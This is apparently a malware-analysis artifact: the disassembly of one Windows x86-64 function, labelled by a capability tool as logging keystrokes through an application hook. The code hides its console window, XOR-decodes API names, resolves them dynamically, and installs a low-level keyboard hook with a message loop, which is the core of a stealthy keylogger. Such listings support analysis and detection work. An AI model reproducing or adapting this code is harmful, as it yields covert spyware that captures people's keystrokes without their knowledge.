Function at 0x140001710
Capabilities:
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
sub rsp, 0xf0
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rbp + 0xa0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rax, 0x5ba14ecb2ddbedbf
lea rcx, [rbp + 0x10]
mov qword [rbp], rax
movabs rbx, 0xa53842a8135e74c8
mov rax, qword [rbp]
movabs r14, 0x5bcd4eaf2dafedd1
mov qword [rbp + 0x10], rax
movabs r15, 0x7e08a1d667574b06
movabs rax, 0x7e64a1b267794b6a
movabs rsi, 0x671ea9f9a48ed9d3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs rax, 0x671ea9f9a48ed9bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x10]
vmovdqu ymmword [rbp + 0x10], ymm1
vzeroupper
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
je 0x1400019d9
movabs rax, 0x35a83edc58fc999f
lea rdx, [rbp + 0x60]
mov qword [rbp], rax
mov rcx, rdi
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xd7bc4b508251b62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x60], ymm1
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006750], rax
lea rdx, [rbp + 0x80]
movabs rax, 0x3ea03bdc48fd999f
mov rcx, rdi
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x7e7bd2b304383956
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r15
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x80]
mov qword [rbp + 0x68], rax
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x140006750], 0
mov qword [0x140006758], rax
je 0x1400019d0
test rax, rax
je 0x1400019d0
xor r9d, r9d
lea rdx, [0x1400014d0]
xor r8d, r8d
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov rbx, rax
test rax, rax
je 0x1400019d0
xor r9d, r9d
lea rcx, [rbp + 0x30]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x1400019ba
nop dword [rax + rax]
lea rcx, [rbp + 0x30]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x30]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rbp + 0x30]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140001990
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x1400019de
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.1400020b0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret